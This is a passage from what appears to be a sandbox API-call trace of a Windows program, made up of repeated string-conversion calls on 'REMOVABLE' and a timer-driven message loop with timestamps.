lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.301] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.301] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.301] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.301] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.301] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.301] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.301] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.302] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.302] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.313] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.313] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.313] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.313] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.313] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.314] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.314] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.314] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.314] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.314] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.314] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.314] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.314] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.314] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.315] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.315] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.315] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.315] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.315] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.315] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.315] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.316] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.316] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.316] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.316] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.316] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.316] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.316] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.316] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.316] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.317] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.317] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.317] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.317] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.317] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0172.317] CharUpperBuffW (in: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP", cchLength=0x1d | out: lpsz="TLRQDAKNGKXFDWQNVSPQPWUUICTCP") returned 0x1d [0172.317] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0172.751] TranslateMessage (lpMsg=0xbdf794) returned 0 [0172.751] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0172.751] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0172.751] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0172.752] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0173.516] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0173.516] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0173.516] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0173.516] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0173.516] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0174.295] TranslateMessage (lpMsg=0xbdf794) returned 0 [0174.295] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0174.295] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0174.295] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0174.295] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0175.048] TranslateMessage (lpMsg=0xbdf794) returned 0 [0175.048] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0175.048] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0175.049] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0175.049] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0175.801] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0175.801] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0175.801] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0175.801] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0175.801] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0176.549] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0176.549] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0176.549] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0176.549] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0176.549] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0177.314] TranslateMessage (lpMsg=0xbdf794) returned 0 [0177.314] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0177.314] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0177.315] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0177.315] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0178.094] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0178.094] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0178.095] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0178.095] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0178.095] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0178.855] TranslateMessage (lpMsg=0xbdf794) returned 0 [0178.855] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0178.855] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0178.855] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0178.856] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0179.659] TranslateMessage (lpMsg=0xbdf794) returned 0 [0179.659] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0179.659] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.659] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.660] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0179.668] TranslateMessage (lpMsg=0xbdf794) returned 0 [0179.668] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0179.668] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.668] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.668] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0179.683] TranslateMessage (lpMsg=0xbdf794) returned 0 [0179.683] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0179.683] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.683] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.684] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0179.700] TranslateMessage (lpMsg=0xbdf794) returned 0 [0179.700] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0179.700] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.700] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.700] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0179.714] TranslateMessage (lpMsg=0xbdf794) returned 0 [0179.715] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0179.715] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.715] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.715] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0179.730] TranslateMessage (lpMsg=0xbdf794) returned 0 [0179.731] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0179.731] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.731] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.731] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0179.746] TranslateMessage (lpMsg=0xbdf794) returned 0 [0179.746] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0179.746] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.746] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.746] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0179.762] TranslateMessage (lpMsg=0xbdf794) returned 0 [0179.762] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0179.762] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.762] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.763] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0179.779] TranslateMessage (lpMsg=0xbdf794) returned 0 [0179.779] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0179.779] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.779] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.779] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0179.793] TranslateMessage (lpMsg=0xbdf794) returned 0 [0179.793] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0179.793] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.793] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.794] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0179.813] TranslateMessage (lpMsg=0xbdf794) returned 0 [0179.814] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0179.814] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.814] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.814] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0179.826] TranslateMessage (lpMsg=0xbdf794) returned 0 [0179.826] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0179.826] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.826] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.826] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0179.840] TranslateMessage (lpMsg=0xbdf794) returned 0 [0179.840] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0179.840] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.840] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.840] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0179.855] TranslateMessage (lpMsg=0xbdf794) returned 0 [0179.856] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0179.856] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.856] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.857] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0179.872] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0179.872] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0179.873] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.873] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.873] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0179.886] TranslateMessage (lpMsg=0xbdf794) returned 0 [0179.886] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0179.886] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.887] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.887] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0179.902] TranslateMessage (lpMsg=0xbdf794) returned 0 [0179.902] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0179.902] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.902] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.903] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0179.930] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0179.930] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0179.930] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.930] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.930] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0179.950] TranslateMessage (lpMsg=0xbdf794) returned 0 [0179.950] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0179.950] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.950] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.950] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0179.971] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0179.972] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0179.972] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.973] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.973] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0179.980] TranslateMessage (lpMsg=0xbdf794) returned 0 [0179.980] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0179.980] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0179.980] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0179.980] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.033] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0180.035] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.035] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.035] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.036] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.036] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.055] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.055] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.055] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.055] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.056] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.063] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.063] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.063] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.064] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.064] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.079] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.079] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.079] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.079] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.079] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.089] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.089] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.089] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.089] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.089] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.105] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.105] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.105] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.105] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.105] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.121] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.121] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.121] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.121] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.122] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0180.167] TranslateMessage (lpMsg=0xbdf9ec) returned 0 [0180.168] DispatchMessageW (lpMsg=0xbdf9ec) returned 0x0 [0180.168] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.168] SetTimer (hWnd=0x60046, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0180.168] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0180.183] TranslateMessage (lpMsg=0xbdf794) returned 0 [0180.183] DispatchMessageW (lpMsg=0xbdf794) returned 0x0 [0180.183] KillTimer (hWnd=0x60046, uIDEvent=0x1) returned 1 [0180.183] SetTimer (hWnd=0x60046, nIDEvent=0x1, 